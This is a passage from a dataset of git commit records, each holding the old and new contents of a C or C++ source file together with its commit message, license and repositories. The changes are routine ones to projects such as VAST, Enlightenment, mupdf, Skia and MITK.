rna;\n}\n","subject":"Fix signed and unsigned comparison","message":"Fix signed and unsigned comparison","lang":"C","license":"mit","repos":"RealBarrettBrown\/xc,RealBarrettBrown\/xc,RealBarrettBrown\/xc"}
{"commit":"85da0a68e77dd32bd2f55d33e0d93d63b8805c8e","old_file":"src\/vast\/concept\/parseable\/vast\/key.h","new_file":"src\/vast\/concept\/parseable\/vast\/key.h","old_contents":"#ifndef VAST_CONCEPT_PARSEABLE_VAST_KEY_H\n#define VAST_CONCEPT_PARSEABLE_VAST_KEY_H\n\n#include \"vast\/key.h\"\n\n#include \"vast\/concept\/parseable\/core\/choice.h\"\n#include \"vast\/concept\/parseable\/core\/list.h\"\n#include \"vast\/concept\/parseable\/core\/operators.h\"\n#include \"vast\/concept\/parseable\/core\/parser.h\"\n#include \"vast\/concept\/parseable\/core\/plus.h\"\n#include \"vast\/concept\/parseable\/string\/char_class.h\"\n\nnamespace vast {\n\nstruct key_parser : parser<key_parser> {\n  using attribute = key;\n\n  template <typename Iterator, typename Attribute>\n  bool parse(Iterator& f, Iterator const& l, Attribute& a) const {\n    using namespace parsers;\n    static auto p = +(alnum | chr{'_'} | chr{':'}) % '.';\n    return p.parse(f, l, a);\n  }\n};\n\ntemplate <>\nstruct parser_registry<key> {\n  using type = key_parser;\n};\n\nnamespace parsers {\n\nstatic auto const key = make_parser<vast::key>();\n\n} \/\/ namespace parsers\n\n} \/\/ namespace vast\n\n#endif\n","new_contents":"#ifndef VAST_CONCEPT_PARSEABLE_VAST_KEY_H\n#define VAST_CONCEPT_PARSEABLE_VAST_KEY_H\n\n#include \"vast\/key.h\"\n\n#include \"vast\/concept\/parseable\/core\/choice.h\"\n#include \"vast\/concept\/parseable\/core\/list.h\"\n#include \"vast\/concept\/parseable\/core\/operators.h\"\n#include \"vast\/concept\/parseable\/core\/parser.h\"\n#include \"vast\/concept\/parseable\/core\/plus.h\"\n#include \"vast\/concept\/parseable\/string\/char_class.h\"\n\nnamespace vast {\n\nstruct key_parser : parser<key_parser> {\n  using attribute = key;\n\n  template <typename Iterator, typename Attribute>\n  bool parse(Iterator& f, Iterator const& l, Attribute& a) const {\n    \/\/ FIXME: we currently cannot parse character sequences into containers,\n    \/\/ e.g., (alpha | '_') >> +(alnum ...). Until we have enhanced the\n    \/\/ framework, we'll just bail out when we find a colon at the beginning.\n    if (f != l && *f == ':')\n      return false;\n    using namespace parsers;\n    static auto p = +(alnum | chr{'_'} | chr{':'}) % '.';\n    return p.parse(f, l, a);\n  }\n};\n\ntemplate <>\nstruct parser_registry<key> {\n  using type = key_parser;\n};\n\nnamespace parsers {\n\nstatic auto const key = make_parser<vast::key>();\n\n} \/\/ namespace parsers\n\n} \/\/ namespace vast\n\n#endif\n","subject":"Work around missing parsing functionality","message":"Work around missing parsing functionality\n","lang":"C","license":"bsd-3-clause","repos":"mavam\/vast,pmos69\/vast,vast-io\/vast,vast-io\/vast,vast-io\/vast,vast-io\/vast,pmos69\/vast,pmos69\/vast,mavam\/vast,vast-io\/vast,mavam\/vast,mavam\/vast,pmos69\/vast"}
{"commit":"df5a968b905413ca4b89e49ba60470550a805dfb","old_file":"solutions\/uri\/1151\/1151.c","new_file":"solutions\/uri\/1151\/1151.c","old_contents":"","new_contents":"#include <stdio.h>\n\nint main() {\n    int n, a, b, x, i;\n\n    scanf(\"%d\", &n);\n\n    if (n == 0) {\n        printf(\"0\\n\");\n        return 0;\n    }\n\n    a = 1;\n    b = 1;\n\n    printf(\"0\");\n\n    for (i = 1; i < n; i++) {\n        printf(\" %d\", a);\n        x = a;\n        a = b;\n        b = b + x;\n    }\n\n    printf(\"\\n\");\n\n    return 0;\n}\n","subject":"Solve Easy Fibonacci in c","message":"Solve Easy Fibonacci in c\n","lang":"C","license":"mit","repos":"deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground"}
{"commit":"6653eccd177784c911ecc39864ffe66210b41c5f","old_file":"src\/modules\/wl_desktop_shell\/e_mod_main.c","new_file":"src\/modules\/wl_desktop_shell\/e_mod_main.c","old_contents":"","new_contents":"#include \"e.h\"\n#include \"e_comp_wl.h\"\n#include \"e_mod_main.h\"\n#include \"e_desktop_shell_protocol.h\"\n\nEAPI E_Module_Api e_modapi = { E_MODULE_API_VERSION, \"Wl_Desktop_Shell\" };\n\nEAPI void *\ne_modapi_init(E_Module *m)\n{\n   E_Wayland_Desktop_Shell *shell = NULL;\n\n   \/* try to allocate space for the shell structure *\/\n   if (!(shell = E_NEW(E_Wayland_Desktop_Shell, 1)))\n     return NULL;\n\n   \/* tell the shell what compositor to use *\/\n   shell->compositor = _e_wl_comp;\n\n   \/* setup compositor shell interface functions *\/\n   _e_wl_comp->shell_interface.shell = shell;\n\n   return m;\n\nerr:\n   \/* reset compositor shell interface *\/\n   _e_wl_comp->shell_interface.shell = NULL;\n\n   \/* free the allocated shell structure *\/\n   E_FREE(shell);\n\n   return NULL;\n}\n\nEAPI int \ne_modapi_shutdown(E_Module *m EINA_UNUSED)\n{\n   \/* nothing to do here as shell will get the destroy callback from \n    * the compositor and we can cleanup there *\/\n   return 1;\n}\n","subject":"Add start of desktop shell code.","message":"Add start of desktop shell code.\n\nSigned-off-by: Chris Michael <177aeddb9e34930a357ecd8dd2d21c80fe280c85@samsung.com>\n","lang":"C","license":"bsd-2-clause","repos":"FlorentRevest\/Enlightenment,tizenorg\/platform.upstream.enlightenment,rvandegrift\/e,tasn\/enlightenment,tasn\/enlightenment,FlorentRevest\/Enlightenment,FlorentRevest\/Enlightenment,rvandegrift\/e,tizenorg\/platform.upstream.enlightenment,tasn\/enlightenment,tizenorg\/platform.upstream.enlightenment,rvandegrift\/e"}
{"commit":"57c89f982987bd5dc540c3ca2407f6d735aeac6d","old_file":"include\/SHIZEN\/zint.h","new_file":"include\/SHIZEN\/zint.h","old_contents":"","new_contents":"\/\/\/\/\n\/\/    __|  |  | _ _| __  \/  __|   \\ |\n\/\/  \\__ \\  __ |   |     \/   _|   .  |\n\/\/  ____\/ _| _| ___| ____| ___| _|\\_|\n\/\/\n\/\/ Copyright (c) 2017 Jacob Hauberg Hansen\n\/\/\n\/\/ This library is free software; you can redistribute and modify it\n\/\/ under the terms of the MIT license. See LICENSE for details.\n\/\/\n\n#ifndef zint_h\n#define zint_h\n\n#include <stdint.h>\n\ntypedef uint8_t u8;\ntypedef uint16_t u16;\ntypedef uint32_t u32;\ntypedef uint64_t u64;\n\ntypedef int8_t i8;\ntypedef int16_t i16;\ntypedef int32_t i32;\ntypedef int64_t i64;\n\ntypedef float f32;\ntypedef double f64;\n\n#endif \/* zint_h *\/\n","subject":"Add standard integer\/floating point types","message":"Add standard integer\/floating point types\n\nThese help make variable intention clearer and declarations shorter.\n","lang":"C","license":"mit","repos":"jhauberg\/SHIZEN"}
{"commit":"8f0b7f5f5bc1eb5a1e794497d14560d032bf8dca","old_file":"tests\/headers\/functions.h","new_file":"tests\/headers\/functions.h","old_contents":"\/* Header testing function definitions parsing. *\/\n\n\/\/Defining a standard function.\nvoid f(int, int);\ninline int g(char *ch, char **str);\n\n\/\/ Defining a function pointer.\nint(*fnPtr)(char, float);\n\n\/\/ Adding dllexport and stdcall annotation to a function.\nint __declspec(dllexport) __stdcall function1();\n","new_contents":"\/* Header testing function definitions parsing. *\/\n\n\/\/Defining a standard function.\nvoid f(int, int);\n\n\/\/ Defining a function with its implementation following\ninline int g(char *ch, char **str)\n{\n     JUNK\n     { }\n     int localVariable = 1;\n}\n\n\/\/ Defining a function pointer.\nint(*fnPtr)(char, float);\n\n\n\/\/ Adding dllexport and stdcall annotation to a function.\nint __declspec(dllexport) __stdcall function1();\n","subject":"Add back Luke test of a function followed by its concrete implementation.","message":"Add back Luke test of a function followed by its concrete implementation.\n","lang":"C","license":"mit","repos":"mrh1997\/pyclibrary,duguxy\/pyclibrary,duguxy\/pyclibrary,MatthieuDartiailh\/pyclibrary,mrh1997\/pyclibrary,MatthieuDartiailh\/pyclibrary,mrh1997\/pyclibrary,duguxy\/pyclibrary"}
{"commit":"9affe3106c1a43153b26f5ef3b9f147508f07a1d","old_file":"example\/ex11-algo01.c","new_file":"example\/ex11-algo01.c","old_contents":"","new_contents":"\/* Based on https:\/\/en.cppreference.com\/w\/cpp\/algorithm\/for_each\n   Need to be built in C11 mode *\/\n\n#include <stdio.h>\n#include \"m-array.h\"\n#include \"m-algo.h\"\n\n\/* Define a dynamic array of int *\/ \nARRAY_DEF(vector_int, int)\n#define M_OPL_vector_int_t() ARRAY_OPLIST(vector_int)\n\n\/* Define operator increment on int *\/\n#define INC(n) (n)++\n\nint main(void)\n{\n  M_LET( (nums, 3, 4, 2, 8, 15, 267), vector_int_t) {\n    \/\/ Print the array before\n    printf (\"before:\");\n    ALGO_FOR_EACH(nums, vector_int_t, M_PRINT, \" \");\n    printf (\"\\n\");\n\n    \/\/ Increment each element of the array\n    ALGO_FOR_EACH(nums, vector_int_t, INC);\n    \n    \/\/ Print the array after\n    printf (\"after: \");\n    ALGO_FOR_EACH(nums, vector_int_t, M_PRINT, \" \");\n    printf (\"\\n\");\n\n    \/\/ Sum the elements of the array\n    int sum = 0;\n    ALGO_REDUCE(sum, nums, vector_int_t, add);\n    M_PRINT(\"sum = \", sum, \"\\n\");\n  }\n  return 0;\n}\n","subject":"Add example of ALGO_FOR_EACH and ALGO_REDUCE","message":"Add example of ALGO_FOR_EACH and ALGO_REDUCE\n","lang":"C","license":"bsd-2-clause","repos":"P-p-H-d\/mlib,P-p-H-d\/mlib"}
{"commit":"bfb527e09f6fb22e4547c08c8262deb9a827e9ad","old_file":"kernel\/os\/include\/os\/os_fault.h","new_file":"kernel\/os\/include\/os\/os_fault.h","old_contents":"\/*\n * licensed to the apache software foundation (asf) under one\n * or more contributor license agreements.  see the notice file\n * distributed with this work for additional information\n * regarding copyright ownership.  the asf licenses this file\n * to you under the apache license, version 2.0 (the\n * \"license\"); you may not use this file except in compliance\n * with the license.  you may obtain a copy of the license at\n *\n *  http:\/\/www.apache.org\/licenses\/license-2.0\n *\n * unless required by applicable law or agreed to in writing,\n * software distributed under the license is distributed on an\n * \"as is\" basis, without warranties or conditions of any\n * kind, either express or implied.  see the license for the\n * specific language governing permissions and limitations\n * under the license.\n *\/\n\n#ifndef _OS_FAULT_H\n#define _OS_FAULT_H\n\n#ifdef __cplusplus\nextern \"c\" {\n#endif\n\nvoid __assert_func(const char *, int, const char *, const char *)\n    __attribute((noreturn));\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif \/* _OS_FAULT_H *\/\n","new_contents":"\/*\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements.  See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership.  The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License.  You may obtain a copy of the License at\n *\n *  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied.  See the License for the\n * specific language governing permissions and limitations\n * under the License.\n *\/\n\n#ifndef _OS_FAULT_H\n#define _OS_FAULT_H\n\n#ifdef __cplusplus\nextern \"c\" {\n#endif\n\nvoid __assert_func(const char *, int, const char *, const char *)\n    __attribute((noreturn));\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif \/* _OS_FAULT_H *\/\n","subject":"Update License to match other licenses","message":"Update License to match other licenses\n","lang":"C","license":"apache-2.0","repos":"andrzej-kaczmarek\/incubator-mynewt-core,mlaz\/mynewt-core,andrzej-kaczmarek\/apache-mynewt-core,andrzej-kaczmarek\/incubator-mynewt-core,mlaz\/mynewt-core,IMGJulian\/incubator-mynewt-core,mlaz\/mynewt-core,IMGJulian\/incubator-mynewt-core,wes3\/incubator-mynewt-core,andrzej-kaczmarek\/apache-mynewt-core,IMGJulian\/incubator-mynewt-core,wes3\/incubator-mynewt-core,mlaz\/mynewt-core,IMGJulian\/incubator-mynewt-core,mlaz\/mynewt-core,andrzej-kaczmarek\/incubator-mynewt-core,wes3\/incubator-mynewt-core,andrzej-kaczmarek\/apache-mynewt-core,andrzej-kaczmarek\/incubator-mynewt-core,wes3\/incubator-mynewt-core,wes3\/incubator-mynewt-core,IMGJulian\/incubator-mynewt-core,andrzej-kaczmarek\/apache-mynewt-core,andrzej-kaczmarek\/incubator-mynewt-core"}
{"commit":"d80bdc186a97b2f1e9dee35941422cef15a49ded","old_file":"fitz\/stm_filter.c","new_file":"fitz\/stm_filter.c","old_contents":"#include \"fitz_base.h\"\n#include \"fitz_stream.h\"\n\nfz_error\nfz_process(fz_filter *f, fz_buffer *in, fz_buffer *out)\n{\n\tfz_error reason;\n\tunsigned char *oldrp;\n\tunsigned char *oldwp;\n\n\tassert(!out->eof);\n\n\toldrp = in->rp;\n\toldwp = out->wp;\n\n\tif (f->done)\n\t    return fz_iodone;\n\n\treason = f->process(f, in, out);\n\n\tassert(in->rp <= in->wp);\n\tassert(out->wp <= out->ep);\n\n\tf->consumed = in->rp > oldrp;\n\tf->produced = out->wp > oldwp;\n\tf->count += out->wp - oldwp;\n\n\t\/* iodone or error *\/\n\tif (reason != fz_ioneedin && reason != fz_ioneedout)\n\t{\n\t\tif (reason != fz_iodone)\n\t\t\treason = fz_rethrow(reason, \"cannot process filter\");\n\t\tout->eof = 1;\n\t\tf->done = 1;\n\t}\n\n\treturn reason;\n}\n\nfz_filter *\nfz_keepfilter(fz_filter *f)\n{\n\tf->refs ++;\n\treturn f;\n}\n\nvoid\nfz_dropfilter(fz_filter *f)\n{\n\tif (--f->refs == 0)\n\t{\n\t\tif (f->drop)\n\t\t\tf->drop(f);\n\t\tfz_free(f);\n\t}\n}\n\n","new_contents":"#include \"fitz_base.h\"\n#include \"fitz_stream.h\"\n\nfz_error\nfz_process(fz_filter *f, fz_buffer *in, fz_buffer *out)\n{\n\tfz_error reason;\n\tunsigned char *oldrp;\n\tunsigned char *oldwp;\n\n\toldrp = in->rp;\n\toldwp = out->wp;\n\n\tif (f->done)\n\t    return fz_iodone;\n\n\tassert(!out->eof);\n\n\treason = f->process(f, in, out);\n\n\tassert(in->rp <= in->wp);\n\tassert(out->wp <= out->ep);\n\n\tf->consumed = in->rp > oldrp;\n\tf->produced = out->wp > oldwp;\n\tf->count += out->wp - oldwp;\n\n\t\/* iodone or error *\/\n\tif (reason != fz_ioneedin && reason != fz_ioneedout)\n\t{\n\t\tif (reason != fz_iodone)\n\t\t\treason = fz_rethrow(reason, \"cannot process filter\");\n\t\tout->eof = 1;\n\t\tf->done = 1;\n\t}\n\n\treturn reason;\n}\n\nfz_filter *\nfz_keepfilter(fz_filter *f)\n{\n\tf->refs ++;\n\treturn f;\n}\n\nvoid\nfz_dropfilter(fz_filter *f)\n{\n\tif (--f->refs == 0)\n\t{\n\t\tif (f->drop)\n\t\t\tf->drop(f);\n\t\tfz_free(f);\n\t}\n}\n\n","subject":"Move assert test of EOF to after testing if a filter is done.","message":"Move assert test of EOF to after testing if a filter is done.\n\ndarcs-hash:20090823143236-f546f-8a43aacda84fc3a1ab9b24c9cd54bd422912d4ec.gz\n","lang":"C","license":"agpl-3.0","repos":"nqv\/mupdf,nqv\/mupdf,nqv\/mupdf,nqv\/mupdf,nqv\/mupdf,nqv\/mupdf"}
{"commit":"eada73f748007102da090de2f6ac65691a9ea9a8","old_file":"src\/canopy_os_linux.c","new_file":"src\/canopy_os_linux.c","old_contents":"\/\/ Copyright 2015 SimpleThings, Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n\/\/ Linux implementation of OS Abstraction Layer for Canopy\n\n#include <canopy_os.h>\n\n#include <assert.h>\n#include <stdarg.h>\n#include <stddef.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n\nvoid canopy_os_assert(int condition) {\n    assert(condition);\n}\n\n\nvoid * canopy_os_alloc(size_t size) {\n    return malloc(size);\n}\n\nvoid * canopy_os_calloc(int count, size_t size) {\n    return calloc(count, size);\n}\n\nvoid canopy_os_free(void *ptr) {\n    free(ptr);\n}\n\nvoid canopy_os_log(const char *format, ...) {\n    va_list ap;\n    va_start(ap, format);\n    vfprintf(stderr, format, ap);\n    va_end(ap);\n}\n","new_contents":"\/\/ Copyright 2015 SimpleThings, Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n\/\/ Linux implementation of OS Abstraction Layer for Canopy\n\n#include <canopy_os.h>\n\n#include <assert.h>\n#include <stdarg.h>\n#include <stddef.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n\nvoid * canopy_os_alloc(size_t size) {\n    return malloc(size);\n}\n\nvoid * canopy_os_calloc(int count, size_t size) {\n    return calloc(count, size);\n}\n\nvoid canopy_os_free(void *ptr) {\n    free(ptr);\n}\n\nvoid canopy_os_log(const char *format, ...) {\n    va_list ap;\n    va_start(ap, format);\n    vfprintf(stderr, format, ap);\n    va_end(ap);\n}\n","subject":"Remove canopy_os_assert implementation because linux implementation now just expands to assert macro in header file","message":"Remove canopy_os_assert implementation because linux implementation now just expands to assert macro in header file\n","lang":"C","license":"apache-2.0","repos":"canopy-project\/canopy_os_linux"}
{"commit":"0a1ed2795d54f9295335b1ab9203eb41c34f2701","old_file":"include\/core\/SkMilestone.h","new_file":"include\/core\/SkMilestone.h","old_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 104\n#endif\n","new_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 105\n#endif\n","subject":"Update Skia milestone to 105","message":"Update Skia milestone to 105\n\nChange-Id: I0925a52cc3a504c95ec4453e74c4580ce692275c\nReviewed-on: https:\/\/skia-review.googlesource.com\/c\/skia\/+\/548896\nReviewed-by: Eric Boren <0e499112533c8544f0505ea0d08394fb5ad7d8fa@google.com>\nReviewed-by: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\nAuto-Submit: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\nCommit-Queue: Eric Boren <0e499112533c8544f0505ea0d08394fb5ad7d8fa@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia"}
{"commit":"e7b6cbacea0ca93834bb907a4d7122daed6a6a3c","old_file":"backend\/dummy_logic.c","new_file":"backend\/dummy_logic.c","old_contents":"","new_contents":"#include \"game_logic.h\"\nnew_game_result bship_logic_new_game(void){\n\tnew_game_result r;\n\tr.gid = 5;\n\tr.pid = 7;\n\treturn r;\n}\n\nplyr_id bship_logic_join_game(game_id gid) {\n\tif(gid != 5)\n\t\treturn ERR_NO_SUCH_GAME;\n\treturn 8;\n}\n\nint bship_logic_submit_grid(plyr_id pid, grid _g) {\n\tif(pid < 7 || pid > 8)\n\t\treturn ERR_INVALID_PLYR_ID;\n\treturn 0;\n}\n\nint bship_logic_bomb_position(plyr_id pid, int x, int y) {\n\tif(pid < 7 || pid > 8)\n\t\treturn ERR_INVALID_PLYR_ID;\n\tif(x < 0 || y < 0)\n\t\treturn ERR_INVALID_BOMB_TARGET;\n\treturn 0;\n}\n\nget_game_end_result bship_logic_get_game_end(plyr_id pid) {\n\tget_game_end_result g;\n\tg.won = 0;\n\tg.game_over = 0;\n\treturn g;\n}\n\nstatic plyr_id stored_pid = 0;\nstatic plyr_state stored_state;\nstatic void* stored_user;\n\nint bship_logic_request_notify(plyr_id pid, plyr_state state, void *user) {\n\tif(stored_pid > 0)\n\t\tbship_logic_notification(stored_pid, stored_state, stored_user, 1);\n\tstored_pid = pid;\n\tstored_state = state;\n\tstored_user = user;\n\treturn 0;\n}\n","subject":"Add dummy implementation of game_logic.h for testing","message":"Add dummy implementation of game_logic.h for testing\n","lang":"C","license":"agpl-3.0","repos":"wzwright\/GroupDesignBattleship,GroupDesignBattleship\/debian,wzwright\/GroupDesignBattleship,wzwright\/GroupDesignBattleship,GroupDesignBattleship\/debian,wzwright\/GroupDesignBattleship,GroupDesignBattleship\/debian,GroupDesignBattleship\/debian"}
{"commit":"982dacf245ebe0aa75d19fe27c2ec74e35f180cb","old_file":"bikepath\/SearchItem.h","new_file":"bikepath\/SearchItem.h","old_contents":"\/\/\n\/\/  SearchItem.h\n\/\/  bikepath\n\/\/\n\/\/  Created by Farheen Malik on 8\/15\/14.\n\/\/  Copyright (c) 2014 Bike Path. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import <MapKit\/MapKit.h>\n#import <GoogleMaps\/GoogleMaps.h>\n\n@interface SearchItem : NSObject\n\n@property NSString *searchQuery;\n@property CLLocationDegrees lati;\n@property CLLocationDegrees longi;\n@property CLLocationCoordinate2D position;\n@property (readonly) NSDate *creationDate;\n\n@end\n","new_contents":"\/\/\n\/\/  SearchItem.h\n\/\/  bikepath\n\/\/\n\/\/  Created by Farheen Malik on 8\/15\/14.\n\/\/  Copyright (c) 2014 Bike Path. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import <MapKit\/MapKit.h>\n#import <GoogleMaps\/GoogleMaps.h>\n\n@interface SearchItem : NSObject\n\n@property NSString *searchQuery;\n@property CLLocationDegrees lati;\n@property CLLocationDegrees longi;\n@property CLLocationCoordinate2D position;\n@property NSString *address;\n@property (readonly) NSDate *creationDate;\n\n@end\n","subject":"Add address as property of Search Item object","message":"Add address as property of Search Item object\n","lang":"C","license":"apache-2.0","repos":"red-spotted-newts-2014\/bike-path,hushifei\/bike-path,red-spotted-newts-2014\/bike-path"}
{"commit":"10e6aefe5410267b5998df8417a16a1674e2f12b","old_file":"src\/modtypes\/socket.h","new_file":"src\/modtypes\/socket.h","old_contents":"#pragma once\n#include \"..\/main.h\"\n\nclass Socket {\n\tpublic:\n\t\tvirtual ~Socket() {}\n\t\tvirtual unsigned int apiVersion() = 0;\n\t\tvirtual void connect(const std::string& server, const std::string& port, const std::string& bind = \"\") {}\n\t\tvirtual std::string receive() { return \"\"; }\n\t\tvirtual void send(const std::string& data) {}\n\t\tvirtual void closeConnection() {}\n\t\tbool isConnected() { return connected; }\n\tprotected:\n\t\tbool connected;\n};","new_contents":"#pragma once\n#include \"..\/main.h\"\n\nclass Socket {\n\tpublic:\n\t\tvirtual ~Socket() {}\n\t\tvirtual unsigned int apiVersion() = 0;\n\t\tvirtual void connect(const std::string& server, const std::string& port, const std::string& bindAddr = \"\") {}\n\t\tvirtual std::string receive() { return \"\"; }\n\t\tvirtual void send(const std::string& data) {}\n\t\tvirtual void closeConnection() {}\n\t\tbool isConnected() { return connected; }\n\tprotected:\n\t\tbool connected;\n};","subject":"Rename parameter to not be the same as the name of the function that does it","message":"Rename parameter to not be the same as the name of the function that does it\n","lang":"C","license":"mit","repos":"ElementalAlchemist\/RoBoBo,ElementalAlchemist\/RoBoBo"}
{"commit":"7bab840edb4a175eaa914e9fecbe8811d60e5d7e","old_file":"Core\/Code\/Testing\/mitkRenderingTestHelper.h","new_file":"Core\/Code\/Testing\/mitkRenderingTestHelper.h","old_contents":"\/*=========================================================================\n\nProgram:   Medical Imaging & Interaction Toolkit\nLanguage:  C++\nDate:      $Date: 2010-03-31 17:34:48 +0200 (Wed, 31 Mar 2010) $\nVersion:   $Revision: 21985 $\n\nCopyright (c) German Cancer Research Center, Division of Medical and\nBiological Informatics. All rights reserved.\nSee MITKCopyright.txt or http:\/\/www.mitk.org\/copyright.html for details.\n\nThis software is distributed WITHOUT ANY WARRANTY; without even\nthe implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\nPURPOSE.  See the above copyright notices for more information.\n\n=========================================================================*\/\n\n#ifndef mitkRenderingTestHelper_h\n#define mitkRenderingTestHelper_h\n\n#include <string>\n#include <vtkSmartPointer.h>\n#include <vtkRenderWindow.h>\n#include <mitkRenderWindow.h>\n\nclass vtkRenderWindow;\nclass vtkRenderer;\n\nnamespace mitk\n{\n  class DataStorage;\n}\n\nclass MITK_CORE_EXPORT mitkRenderingTestHelper\n{\n  public:\n    mitkRenderingTestHelper(int width, int height, mitk::DataStorage* ds);\n\n    ~mitkRenderingTestHelper();\n\n    vtkRenderer* GetVtkRenderer();\n    vtkRenderWindow* GetVtkRenderWindow();\n    void SaveAsPNG(std::string fileName);\n\n  protected:\n    mitk::RenderWindow::Pointer m_RenderWindow;\n\n};\n\n#endif\n\n","new_contents":"\/*=========================================================================\n\nProgram:   Medical Imaging & Interaction Toolkit\nLanguage:  C++\nDate:      $Date: 2010-03-31 17:34:48 +0200 (Wed, 31 Mar 2010) $\nVersion:   $Revision: 21985 $\n\nCopyright (c) German Cancer Research Center, Division of Medical and\nBiological Informatics. All rights reserved.\nSee MITKCopyright.txt or http:\/\/www.mitk.org\/copyright.html for details.\n\nThis software is distributed WITHOUT ANY WARRANTY; without even\nthe implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\nPURPOSE.  See the above copyright notices for more information.\n\n=========================================================================*\/\n\n#ifndef mitkRenderingTestHelper_h\n#define mitkRenderingTestHelper_h\n\n#include <string>\n#include <vtkSmartPointer.h>\n#include <vtkRenderWindow.h>\n#include <mitkRenderWindow.h>\n\nclass vtkRenderWindow;\nclass vtkRenderer;\n\nnamespace mitk\n{\n  class DataStorage;\n}\n\nclass mitkRenderingTestHelper\n{\n  public:\n    mitkRenderingTestHelper(int width, int height, mitk::DataStorage* ds);\n\n    ~mitkRenderingTestHelper();\n\n    vtkRenderer* GetVtkRenderer();\n    vtkRenderWindow* GetVtkRenderWindow();\n    void SaveAsPNG(std::string fileName);\n\n  protected:\n    mitk::RenderWindow::Pointer m_RenderWindow;\n\n};\n\n#endif\n\n","subject":"Fix linker warnings in rendering tests","message":"Fix linker warnings in rendering tests\n","lang":"C","license":"bsd-3-clause","repos":"fmilano\/mitk,NifTK\/MITK,NifTK\/MITK,NifTK\/MITK,rfloca\/MITK,danielknorr\/MITK,nocnokneo\/MITK,rfloca\/MITK,MITK\/MITK,nocnokneo\/MITK,RabadanLab\/MITKats,lsanzdiaz\/MITK-BiiG,rfloca\/MITK,danielknorr\/MITK,lsanzdiaz\/MITK-BiiG,fmilano\/mitk,RabadanLab\/MITKats,iwegner\/MITK,fmilano\/mitk,MITK\/MITK,nocnokneo\/MITK,lsanzdiaz\/MITK-BiiG,rfloca\/MITK,NifTK\/MITK,MITK\/MITK,RabadanLab\/MITKats,lsanzdiaz\/MITK-BiiG,iwegner\/MITK,lsanzdiaz\/MITK-BiiG,nocnokneo\/MITK,NifTK\/MITK,lsanzdiaz\/MITK-BiiG,MITK\/MITK,danielknorr\/MITK,iwegner\/MITK,MITK\/MITK,RabadanLab\/MITKats,fmilano\/mitk,fmilano\/mitk,nocnokneo\/MITK,nocnokneo\/MITK,danielknorr\/MITK,RabadanLab\/MITKats,danielknorr\/MITK,lsanzdiaz\/MITK-BiiG,MITK\/MITK,lsanzdiaz\/MITK-BiiG,iwegner\/MITK,rfloca\/MITK,danielknorr\/MITK,iwegner\/MITK,NifTK\/MITK,iwegner\/MITK,rfloca\/MITK,rfloca\/MITK,fmilano\/mitk,danielknorr\/MITK,fmilano\/mitk,RabadanLab\/MITKats,nocnokneo\/MITK"}
{"commit":"73aef2d1d8a0fe417df1ab4a35029be74891ee37","old_file":"src\/gallium\/winsys\/sw\/hgl\/hgl_sw_winsys.h","new_file":"src\/gallium\/winsys\/sw\/hgl\/hgl_sw_winsys.h","old_contents":"\/**************************************************************************\n *\n * Copyright 2009 Artur Wyszynski <harakash@gmail.com>\n * Copyright 2013 Alexander von Gluck IV <kallisti5@unixzen.com>\n *\n * Permission is hereby granted, free of charge, to any person obtaining a\n * copy of this software and associated documentation files (the\n * \"Software\"), to deal in the Software without restriction, including\n * without limitation the rights to use, copy, modify, merge, publish,\n * distribute, sub license, and\/or sell copies of the Software, and to\n * permit persons to whom the Software is furnished to do so, subject to\n * the following conditions:\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. IN NO EVENT SHALL\n * THE COPYRIGHT HOLDERS, AUTHORS 